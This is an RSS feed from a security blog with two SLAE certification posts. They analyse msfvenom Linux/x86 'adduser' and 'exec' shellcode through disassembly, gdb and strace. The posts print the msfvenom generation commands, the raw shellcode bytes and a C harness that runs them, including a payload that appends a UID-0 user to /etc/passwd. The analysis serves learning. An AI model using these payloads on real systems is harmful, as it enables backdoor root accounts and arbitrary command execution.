<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>msfvenom Archives -</title>
	<atom:link href="https://barriersec.com/tag/msfvenom/feed/" rel="self" type="application/rss+xml" />
	<link>https://barriersec.com/tag/msfvenom/</link>
	<description></description>
	<lastBuildDate>Mon, 14 Sep 2020 03:01:11 +0000</lastBuildDate>
	<language>en-US</language>
	<sy:updatePeriod>
	hourly	</sy:updatePeriod>
	<sy:updateFrequency>
	1	</sy:updateFrequency>
	<generator>https://wordpress.org/?v=6.2.15</generator>

<image>
	<url>https://barriersec.com/wp-content/uploads/cropped-Monochrome-on-Transparent-32x32.png</url>
	<title>msfvenom Archives -</title>
	<link>https://barriersec.com/tag/msfvenom/</link>
	<width>32</width>
	<height>32</height>
</image> 
	<item>
		<title>Linux/x86 msfvenom add user shellcode analysis</title>
		<link>https://barriersec.com/2018/12/linux-x86-msfvenom-add-user-shellcode-analysis/</link>
		
		<dc:creator><![CDATA[goutham madhwaraj]]></dc:creator>
		<pubDate>Mon, 03 Dec 2018 22:24:20 +0000</pubDate>
				<category><![CDATA[x/86 msfvenom adduser analysis]]></category>
		<category><![CDATA[adduser]]></category>
		<category><![CDATA[analysis]]></category>
		<category><![CDATA[linux]]></category>
		<category><![CDATA[msfvenom]]></category>
		<category><![CDATA[slae]]></category>
		<category><![CDATA[x86]]></category>
		<guid isPermaLink="false">https://barriersec.com/?p=429</guid>

					<description><![CDATA[<p>Lets take up another shellcode from msfvenom. we will take up payloads/linux/x86/adduser for analysis. Lets see the payload options available.&#8230;</p>
<p>The post <a rel="nofollow" href="https://barriersec.com/2018/12/linux-x86-msfvenom-add-user-shellcode-analysis/">Linux/x86 msfvenom add user shellcode analysis</a> appeared first on <a rel="nofollow" href="https://barriersec.com"></a>.</p>
]]></description>
										<content:encoded><![CDATA[
<p>Lets take up another shellcode from msfvenom. we will take up <strong>payloads/linux/x86/adduser </strong>for analysis. Lets see the payload options available.</p>



<pre class="wp-block-code"><span style="color: #ff0000;"><code>root@kali:~# msfvenom -p linux/x86/adduser --payload-options
Options for payload/linux/x86/adduser:


       Name: Linux Add User
     Module: payload/linux/x86/adduser
   Platform: Linux
       Arch: x86
Needs Admin: Yes
 Total size: 97
       Rank: Normal

Provided by:
    skape &lt;mmiller@hick.org&gt;
    vlad902 &lt;vlad902@gmail.com&gt;
    spoonm &lt;spoonm@no$email.com&gt;

Basic options:
Name   Current Setting  Required  Description
----   ---------------  --------  -----------
PASS   metasploit       yes       The password for this user
SHELL  /bin/sh          no        The shell for this user
USER   metasploit       yes       The username to create

Description:
  Create a new user with UID 0</code></span></pre>



<p>We see that it takes two parameter , <strong>USER </strong>and <strong>PASS . </strong>lets pipe the raw shellcode to ndisasm for analysis.</p>



<pre class="wp-block-code"><span style="color: #ff0000;"><code>root@kali:~# msfvenom -p linux/x86/adduser USER=goutham PASS=goutham -f raw | ndisasm -u -
No platform was selected, choosing Msf::Module::Platform::Linux from the payload
No Arch selected, selecting Arch: x86 from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 94 bytes

00000000  31C9              xor ecx,ecx
00000002  89CB              mov ebx,ecx
00000004  6A46              push byte +0x46
00000006  58                pop eax
00000007  CD80              int 0x80
00000009  6A05              push byte +0x5
0000000B  58                pop eax
0000000C  31C9              xor ecx,ecx
0000000E  51                push ecx
0000000F  6873737764        push dword 0x64777373
00000014  682F2F7061        push dword 0x61702f2f
00000019  682F657463        push dword 0x6374652f
0000001E  89E3              mov ebx,esp
00000020  41                inc ecx
00000021  B504              mov ch,0x4
00000023  CD80              int 0x80
00000025  93                xchg eax,ebx
00000026  E825000000        call 0x50
0000002B  676F              a16 outsd
0000002D  7574              jnz 0xa3
0000002F  68616D3A41        push dword 0x413a6d61
00000034  7A51              jpe 0x87
00000036  7945              jns 0x7d
00000038  50                push eax
00000039  754E              jnz 0x89
0000003B  306533            xor [ebp+0x33],ah
0000003E  7955              jns 0x95
00000040  3A30              cmp dh,[eax]
00000042  3A30              cmp dh,[eax]
00000044  3A3A              cmp bh,[edx]
00000046  2F                das
00000047  3A2F              cmp ch,[edi]
00000049  62696E            bound ebp,[ecx+0x6e]
0000004C  2F                das
0000004D  7368              jnc 0xb7
0000004F  0A598B            or bl,[ecx-0x75]
00000052  51                push ecx
00000053  FC                cld
00000054  6A04              push byte +0x4
00000056  58                pop eax
00000057  CD80              int 0x80
00000059  6A01              push byte +0x1
0000005B  58                pop eax
0000005C  CD80              int 0x80</code></span></pre>



<p>we see there are totally four syscalls. we can recognize last one very easily. its an exit syscall . seems like its just a cleanup operation. lets check out what first syscall is. <strong>0x46 </strong>is <strong>70 </strong>in decimal. i.e,</p>



<pre class="wp-block-code"><span style="color: #ff0000;"><code>root@kali:~# cat /usr/include/i386-linux-gnu/asm/unistd_32.h| grep 70
#define __NR_setreuid 70
</code></span></pre>



<p>its setreuid ..according to its man page,</p>



<pre class="wp-block-preformatted"><span style="color: #ff0000;"><strong>setreuid</strong>() sets real and effective user IDs of the calling process.
</span></pre>



<p>so since ebx and ecx register is set to 0 before calling interrupt, it is setting  that of root. this helps us in our further task of adding a root user ( we need this privilege to write passwd file).</p>



<p>Second syscall is fairly straight forward, its an open sys call ( 5 )</p>



<pre class="wp-block-code"><span style="color: #ff0000;"><code>root@kali:~# cat /usr/include/i386-linux-gnu/asm/unistd_32.h| grep 5
#define __NR_open 5
</code></span></pre>



<pre class="wp-block-preformatted"><strong>int open(const char *</strong><em>pathname</em><strong>, int </strong><em>flags</em><strong>);</strong></pre>



<p>From man page, we can see it takes two argument . first one , file name and second one is the flags defines mode of operation associated . from the shellcode its clear , ebx is pointed to string &#8220;/etc//passwd&#8221;</p>



<pre class="wp-block-code"><span style="color: #ff0000;"><code>0000000E  51                push ecx
0000000F  6873737764        push dword 0x64777373
00000014  682F2F7061        push dword 0x61702f2f
00000019  682F657463        push dword 0x6374652f
0000001E  89E3              mov ebx,esp
00000020  41                inc ecx
00000021  B504              mov ch,0x4
00000023  CD80              int 0x80</code></span></pre>



<p>and also , ecx is pushed with value 0x0401(1025) which points out flags set are write and append <a href="http://man7.org/linux/man-pages/man2/open.2.html"> http://man7.org/linux/man-pages/man2/open.2.html</a></p>



<p>since open returns file descriptor of file being operated on . since return value is stored in eax its moved to ebx. next we see some weird instructions .but syscall points out its a  write sys call . (5) lets run the same pgm in gdb and check before interrupt is called for this write syscall.</p>



<pre class="wp-block-code"><code><span style="color: #ff0000;">
[----------------------------------registers-----------------------------------]
EAX: 0x4 
EBX: 0x3 
ECX: 0x40206b ("goutham:AzQyEPuN0e3yU:0:0::/:/bin/sh\nY\213Q\374j\004X̀j\001X̀")
EDX: 0x25 ('%')
ESI: 0xb7faa000 --&gt; 0x1d4d6c 
EDI: 0x0 
EBP: 0xbffff2d8 --&gt; 0x0 
ESP: 0xbffff2ac ("/etc//passwd")
EIP: 0x402097 --&gt; 0x16a80cd
EFLAGS: 0x202 (carry parity adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x402093 &lt;code+83&gt;:	cld    
   0x402094 &lt;code+84&gt;:	push   0x4
   0x402096 &lt;code+86&gt;:	pop    eax
=&gt; 0x402097 &lt;code+87&gt;:	int    0x80
   0x402099 &lt;code+89&gt;:	push   0x1
   0x40209b &lt;code+91&gt;:	pop    eax
   0x40209c &lt;code+92&gt;:	int    0x80
   0x40209e &lt;code+94&gt;:	add    BYTE PTR [eax],al
[------------------------------------stack-------------------------------------]
0000| 0xbffff2ac ("/etc//passwd")
0004| 0xbffff2b0 ("//passwd")
0008| 0xbffff2b4 ("sswd")
0012| 0xbffff2b8 --&gt; 0x0 
0016| 0xbffff2bc --&gt; 0x40059d (&lt;main+80&gt;:	mov    eax,0x0)
0020| 0xbffff2c0 --&gt; 0x1</span> 
</code></pre>



<p>from man page for write sys call,</p>



<p><strong>ssize_t write(int</strong><em>fd</em><strong>, const void *</strong><em>buf</em><strong>, size_t</strong><em>count</em><strong>);</strong></p>



<p>we see just before the sys interrupt , ebx points to file discripter which was returned by earlier open sys call. ecx contains memory location which points to our required line for adding user to /etc/passwd . finally edx contains size. </p>



<p>Finally exit call is used to exit gracefully. </p>



<p>with the help of strace , we can see what syscalls are called by our program. we can verify all the syscalls with proper arguments as follows :</p>



<pre class="wp-block-code"><span style="color: #ff0000;"><code>root@kali:~/slae_analyze/msf_adduser# strace ./shellcode

write(1, "Shellcode Length:  40\n", 22Shellcode Length:  40
) = 22

setreuid(0, 0)                          = 0
open("/etc//passwd", O_WRONLY|O_APPEND) = 3
write(3, "goutham:AzQyEPuN0e3yU:0:0::/:/bi"..., 37) = 37
exit(3)                                 = ?
+++ exited with 3 +++
</code></span></pre>



<p>lets verify the operation is successful .</p>



<pre class="wp-block-code"><span style="color: #ff0000;"><code>root@kali:~/slae_analyze/msf_adduser# cat /etc/passwd | grep goutham

goutham:AzQyEPuN0e3yU:0:0::/:/bin/sh

</code></span></pre>



<p>As we see, our desired user with root privilege is added to the system.</p>



<p>Github repo for code :</p>



<p><a href="https://github.com/strikergoutham/SLAE_assignments">https://github.com/strikergoutham/SLAE_assignments</a></p>



<p><strong>This blog post has been created for the completing the requirements of SecurityTube Linux Assembly Expert  certification.</strong></p>



<p>(<a href="https://www.pentesteracademy.com/course?id=3">https://www.pentesteracademy.com/course?id=3</a>)</p>



<p>SLAE student ID :  <strong>SLAE – 1367</strong></p>
<p>The post <a rel="nofollow" href="https://barriersec.com/2018/12/linux-x86-msfvenom-add-user-shellcode-analysis/">Linux/x86 msfvenom add user shellcode analysis</a> appeared first on <a rel="nofollow" href="https://barriersec.com"></a>.</p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>Linux / x86 Msfvenom Exec shellcode analysis</title>
		<link>https://barriersec.com/2018/12/linux-x86-msfvenom-exec-shellcode-analysis/</link>
		
		<dc:creator><![CDATA[goutham madhwaraj]]></dc:creator>
		<pubDate>Sun, 02 Dec 2018 23:23:16 +0000</pubDate>
				<category><![CDATA[x/86 msfvenom exec analysis]]></category>
		<category><![CDATA[exec analysis]]></category>
		<category><![CDATA[msfvenom]]></category>
		<category><![CDATA[slae]]></category>
		<guid isPermaLink="false">https://barriersec.com/?p=410</guid>

					<description><![CDATA[<p>Today we will analyse the shellcode for msfvenom payload &#8220;payload/linux/x86/exec&#8221; . So lets check the payload options for it.  this&#8230;</p>
<p>The post <a rel="nofollow" href="https://barriersec.com/2018/12/linux-x86-msfvenom-exec-shellcode-analysis/">Linux / x86 Msfvenom Exec shellcode analysis</a> appeared first on <a rel="nofollow" href="https://barriersec.com"></a>.</p>
]]></description>
										<content:encoded><![CDATA[
<p>Today we will analyse the shellcode for msfvenom payload <strong>&#8220;payload/linux/x86/exec&#8221; . </strong>So lets check the payload options for it.</p>



<pre class="wp-block-code"><span style="color: #ff0000;"><code>root@kali:~/slae_analyze# msfvenom -p linux/x86/exec --payload-options
Options for payload/linux/x86/exec:


       Name: Linux Execute Command
     Module: payload/linux/x86/exec
   Platform: Linux
       Arch: x86
Needs Admin: No
 Total size: 36
       Rank: Normal

Provided by:
    vlad902 &lt;vlad902@gmail.com&gt;

Basic options:
Name  Current Setting  Required  Description
----  ---------------  --------  -----------
CMD                    yes       The command string to execute

Description:
  Execute an arbitrary command</code></span></pre>



<p> this payload accepts a &#8220;CMD&#8221; parameter, which is the code to be executed on the system. I will use &#8220;whoami&#8221; command for analyzing the generated shellcode. Lets pipe the output to ndisasm.</p>



<pre class="wp-block-code"><span style="color: #ff0000;"><code>root@kali:~/slae_analyze# msfvenom -p linux/x86/exec CMD=whoami -f raw | ndisasm -u -
No platform was selected, choosing Msf::Module::Platform::Linux from the payload
No Arch selected, selecting Arch: x86 from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 42 bytes

00000000  6A0B              push byte +0xb
00000002  58                pop eax
00000003  99                cdq
00000004  52                push edx
00000005  66682D63          push word 0x632d
00000009  89E7              mov edi,esp
0000000B  682F736800        push dword 0x68732f
00000010  682F62696E        push dword 0x6e69622f
00000015  89E3              mov ebx,esp
00000017  52                push edx
00000018  E807000000        call 0x24
0000001D  7768              ja 0x87
0000001F  6F                outsd
00000020  61                popa
00000021  6D                insd
00000022  6900575389E1      imul eax,[eax],dword 0xe1895357
00000028  CD80              int 0x80
</code></span></pre>



<p>initially we see that, syscall number &#8220;11&#8221; stored on eax. which implies that its making use of execve to execute our desired command! there are weird call instruction in the middle , we can see edx register getting set with null, along with setting argument 1 (&#8220;/bin/sh&#8221;) on ebx register. and &#8220;push word 0x632d&#8221; translates to &#8220;-c&#8221; in ASCII text, this hints that execve may be called as follows to execute our command.</p>



<p><strong>execve(&#8220;/bin/sh&#8221;,[*(&#8220;/bin/sh&#8221;),&#8221;-c&#8221;,&#8221;whoami&#8221;],0)</strong></p>



<p>but we note that there is no string &#8220;whoami&#8221; that is our command in the dissected assembly code. lets analyze the same code in gdb for further inspection.specifically on that call instruction.</p>



<pre class="wp-block-code"><span style="color: #ff0000;"><code>root@kali:~/slae_analyze# msfvenom -p linux/x86/exec CMD=whoami -f c
No platform was selected, choosing Msf::Module::Platform::Linux from the payload
No Arch selected, selecting Arch: x86 from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 42 bytes
Final size of c file: 201 bytes
unsigned char buf[] = 
"\x6a\x0b\x58\x99\x52\x66\x68\x2d\x63\x89\xe7\x68\x2f\x73\x68"
"\x00\x68\x2f\x62\x69\x6e\x89\xe3\x52\xe8\x07\x00\x00\x00\x77"
"\x68\x6f\x61\x6d\x69\x00\x57\x53\x89\xe1\xcd\x80";
</code></span></pre>



<p>Lets place this in our c template program and run inside gdb.</p>



<pre class="wp-block-code"><span style="color: #ff0000;"><code>#include&lt;stdio.h&gt;
#include&lt;string.h&gt;


unsigned char code[] = "\x6a\x0b\x58\x99\x52\x66\x68\x2d\x63\x89\xe7\x68\x2f\x73\x68"
"\x00\x68\x2f\x62\x69\x6e\x89\xe3\x52\xe8\x07\x00\x00\x00\x77"
"\x68\x6f\x61\x6d\x69\x00\x57\x53\x89\xe1\xcd\x80";




int main()
{
	
	
	printf("Shellcode Length:  %d\n", strlen(code));

	
	int (*ret)() = (int(*)())code;

	ret();

}</code></span></pre>



<p>we will use GDB extended with Peda for smoother analysis. As Peda has some very cool integrated features which helps us in easier dissection.Lets place a breakpoint at our shellcode.</p>



<pre class="wp-block-code"><span style="color: #ff0000;"><code>root@kali:~/slae_analyze/msf_exec# gcc -fno-stack-protector -z execstack -o shellcode shellcode.c
root@kali:~/slae_analyze/msf_exec# ./shellcode
Shellcode Length:  15
root
root@kali:~/slae_analyze/msf_exec# gdb -q ./shellcode
Reading symbols from ./shellcode...(no debugging symbols found)...done.
gdb-peda$ break *&amp;code
Breakpoint 1 at 0x2040
gdb-peda$ run


</code></span></pre>



<p>We dissemble at the start of our shellcode.</p>



<pre class="wp-block-code"><span style="color: #ff0000;"><code>[----------------------------------registers-----------------------------------]
EAX: 0x402040 --&gt; 0x99580b6a 
EBX: 0x402000 --&gt; 0x1efc 
ECX: 0x0 
EDX: 0xb7fab890 --&gt; 0x0 
ESI: 0xb7faa000 --&gt; 0x1d4d6c 
EDI: 0x0 
EBP: 0xbffff288 --&gt; 0x0 
ESP: 0xbffff26c --&gt; 0x40059d (&lt;main+80&gt;:	mov    eax,0x0)
EIP: 0x402040 --&gt; 0x99580b6a
EFLAGS: 0x282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x40203a:	add    BYTE PTR [eax],al
   0x40203c:	add    BYTE PTR [eax],al
   0x40203e:	add    BYTE PTR [eax],al
=&gt; 0x402040 &lt;code&gt;:	push   0xb
   0x402042 &lt;code+2&gt;:	pop    eax
   0x402043 &lt;code+3&gt;:	cdq    
   0x402044 &lt;code+4&gt;:	push   edx
   0x402045 &lt;code+5&gt;:	pushw  0x632d
[------------------------------------stack-------------------------------------]
0000| 0xbffff26c --&gt; 0x40059d (&lt;main+80&gt;:	mov    eax,0x0)
0004| 0xbffff270 --&gt; 0x1 
0008| 0xbffff274 --&gt; 0xbffff334 --&gt; 0xbffff4df ("/root/slae_analyze/msf_exec/shellcode")
0012| 0xbffff278 --&gt; 0xbffff33c --&gt; 0xbffff505 ("LS_COLORS=rs=0:di=01;34:ln=01;36:mh=00:pi=40;33:so=01;35:do=01;35:bd=40;33;01:cd=40;33;01:or=40;31;01:mi=00:su=37;41:sg=30;43:ca=30;41:tw=30;42:ow=34;42:st=37;44:ex=01;32:*.tar=01;31:*.tgz=01;31:*.arc"...)
0016| 0xbffff27c --&gt; 0x402040 --&gt; 0x99580b6a 
0020| 0xbffff280 --&gt; 0xbffff2a0 --&gt; 0x1 
0024| 0xbffff284 --&gt; 0x0 
0028| 0xbffff288 --&gt; 0x0 
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value

Breakpoint 1, 0x00402040 in code ()
gdb-peda$ disassemble
Dump of assembler code for function code:
=&gt; 0x00402040 &lt;+0&gt;:	push   0xb
   0x00402042 &lt;+2&gt;:	pop    eax
   0x00402043 &lt;+3&gt;:	cdq    
   0x00402044 &lt;+4&gt;:	push   edx
   0x00402045 &lt;+5&gt;:	pushw  0x632d
   0x00402049 &lt;+9&gt;:	mov    edi,esp
   0x0040204b &lt;+11&gt;:	push   0x68732f
   0x00402050 &lt;+16&gt;:	push   0x6e69622f
   0x00402055 &lt;+21&gt;:	mov    ebx,esp
   0x00402057 &lt;+23&gt;:	push   edx
   0x00402058 &lt;+24&gt;:	call   0x402064 &lt;code+36&gt;
   0x0040205d &lt;+29&gt;:	ja     0x4020c7
   0x0040205f &lt;+31&gt;:	outs   dx,DWORD PTR ds:[esi]
   0x00402060 &lt;+32&gt;:	popa   
   0x00402061 &lt;+33&gt;:	ins    DWORD PTR es:[edi],dx
   0x00402062 &lt;+34&gt;:	imul   eax,DWORD PTR [eax],0xe1895357
   0x00402068 &lt;+40&gt;:	int    0x80
   0x0040206a &lt;+42&gt;:	add    BYTE PTR [eax],al
End of assembler dump.
</code></span></pre>



<p>we see that call instruction again with jump to some memory location. lets analyse by break at that location. </p>



<pre class="wp-block-code"><span style="color: #ff0000;"><code>[----------------------------------registers-----------------------------------]
EAX: 0xb ('\x0b')
EBX: 0xbffff25e ("/bin/sh")
ECX: 0x0 
EDX: 0x0 
ESI: 0xb7faa000 --&gt; 0x1d4d6c 
EDI: 0xbffff266 --&gt; 0x632d ('-c')
EBP: 0xbffff288 --&gt; 0x0 
ESP: 0xbffff256 --&gt; 0x40205d ("whoami")
EIP: 0x402064 --&gt; 0xe1895357
EFLAGS: 0x282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
=&gt; 0x402064 &lt;code+36&gt;:	push   edi
   0x402065 &lt;code+37&gt;:	push   ebx
   0x402066 &lt;code+38&gt;:	mov    ecx,esp
   0x402068 &lt;code+40&gt;:	int    0x80
[------------------------------------stack-------------------------------------]
0000| 0xbffff256 --&gt; 0x40205d ("whoami")
0004| 0xbffff25a --&gt; 0x0 
0008| 0xbffff25e ("/bin/sh")
0012| 0xbffff262 --&gt; 0x68732f ('/sh')
0016| 0xbffff266 --&gt; 0x632d ('-c')
0020| 0xbffff26a --&gt; 0x59d0000 
0024| 0xbffff26e --&gt; 0x10040 
0028| 0xbffff272 --&gt; 0xf3340000 
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
0x00402064 in code ()
</code></span></pre>



<p>As we see,  memory address containing our command string(&#8220;whoami&#8221;) is pushed onto to the stack . lets verify that what we assume is true.</p>



<pre class="wp-block-code"><span style="color: #ff0000;"><code>gdb-peda$ x/s 0x40205d
0x40205d &lt;code+29&gt;:	"whoami"
</code></span></pre>



<p>Now lets break before calling interrupt to verify that all the arguments are on the stack setup for execve to execute.</p>



<pre class="wp-block-code"><span style="color: #ff0000;"><code>[----------------------------------registers-----------------------------------]
EAX: 0xb ('\x0b')
EBX: 0xbffff25e ("/bin/sh")
ECX: 0xbffff24e --&gt; 0xbffff25e ("/bin/sh")
EDX: 0x0 
ESI: 0xb7faa000 --&gt; 0x1d4d6c 
EDI: 0xbffff266 --&gt; 0x632d ('-c')
EBP: 0xbffff288 --&gt; 0x0 
ESP: 0xbffff24e --&gt; 0xbffff25e ("/bin/sh")
EIP: 0x402068 --&gt; 0x80cd
EFLAGS: 0x282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x402060 &lt;code+32&gt;:	popa   
   0x402061 &lt;code+33&gt;:	ins    DWORD PTR es:[edi],dx
   0x402062 &lt;code+34&gt;:	imul   eax,DWORD PTR [eax],0xe1895357
=&gt; 0x402068 &lt;code+40&gt;:	int    0x80
   0x40206a &lt;code+42&gt;:	add    BYTE PTR [eax],al
   0x40206c:	add    BYTE PTR [eax],al
   0x40206e:	add    BYTE PTR [eax],al
   0x402070:	add    BYTE PTR [eax],al
[------------------------------------stack-------------------------------------]
0000| 0xbffff24e --&gt; 0xbffff25e ("/bin/sh")
0004| 0xbffff252 --&gt; 0xbffff266 --&gt; 0x632d ('-c')
0008| 0xbffff256 --&gt; 0x40205d ("whoami")
0012| 0xbffff25a --&gt; 0x0 
0016| 0xbffff25e ("/bin/sh")
0020| 0xbffff262 --&gt; 0x68732f ('/sh')
0024| 0xbffff266 --&gt; 0x632d ('-c')
0028| 0xbffff26a --&gt; 0x59d0000 
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
0x00402068 in code ()
gdb-peda$ info registers
eax            0xb	0xb
ecx            0xbffff24e	0xbffff24e
edx            0x0	0x0
ebx            0xbffff25e	0xbffff25e
esp            0xbffff24e	0xbffff24e
ebp            0xbffff288	0xbffff288
esi            0xb7faa000	0xb7faa000
edi            0xbffff266	0xbffff266
eip            0x402068	0x402068 &lt;code+40&gt;
eflags         0x282	[ SF IF ]
cs             0x73	0x73
ss             0x7b	0x7b
ds             0x7b	0x7b
es             0x7b	0x7b
fs             0x0	0x0
gs             0x33	0x33
</code></span></pre>



<p>From the above code its clear that all the arguments for execve has been set properly before the interrupt. ebx contains /bin/sh string. and ecx contains address &#8220;<strong>0xbffff24e</strong>&#8221; (ESP) which points to memory location <strong>&#8220;0xbffff25e&#8221;</strong> which is nothing but address  of the /bin/sh followed by other arguments which are present on the stack.</p>



<pre class="wp-block-code"><span style="color: #ff0000;"><code>gdb-peda$ x/s 0xbffff25e
0xbffff25e:	"/bin/sh"
</code></span></pre>



<p>Finally our code executes successfully ..</p>



<pre class="wp-block-code"><span style="color: #ff0000;"><code>gdb-peda$ s
process 9452 is executing new program: /bin/dash

process 9497 is executing new program: /usr/bin/whoami

#output of our command "whoami"
root

[Inferior 2 (process 9497) exited normally]
Warning: not running or target is remote
</code></span></pre>



<p>Thats it for today. I will take up more shellcode analysis in the next few posts. Thank you!</p>



<p>Github Repo link :</p>



<p>https://github.com/strikergoutham/SLAE_assignments</p>



<p><strong>This blog post has been created for the completing the requirements of SecurityTube Linux Assembly Expert  certification.</strong></p>



<p>(<a href="https://www.pentesteracademy.com/course?id=3">https://www.pentesteracademy.com/course?id=3</a>)</p>



<p>SLAE student ID :  <strong>SLAE – 1367</strong></p>
<p>The post <a rel="nofollow" href="https://barriersec.com/2018/12/linux-x86-msfvenom-exec-shellcode-analysis/">Linux / x86 Msfvenom Exec shellcode analysis</a> appeared first on <a rel="nofollow" href="https://barriersec.com"></a>.</p>
]]></content:encoded>
					
		
		
			</item>
	</channel>
</rss>
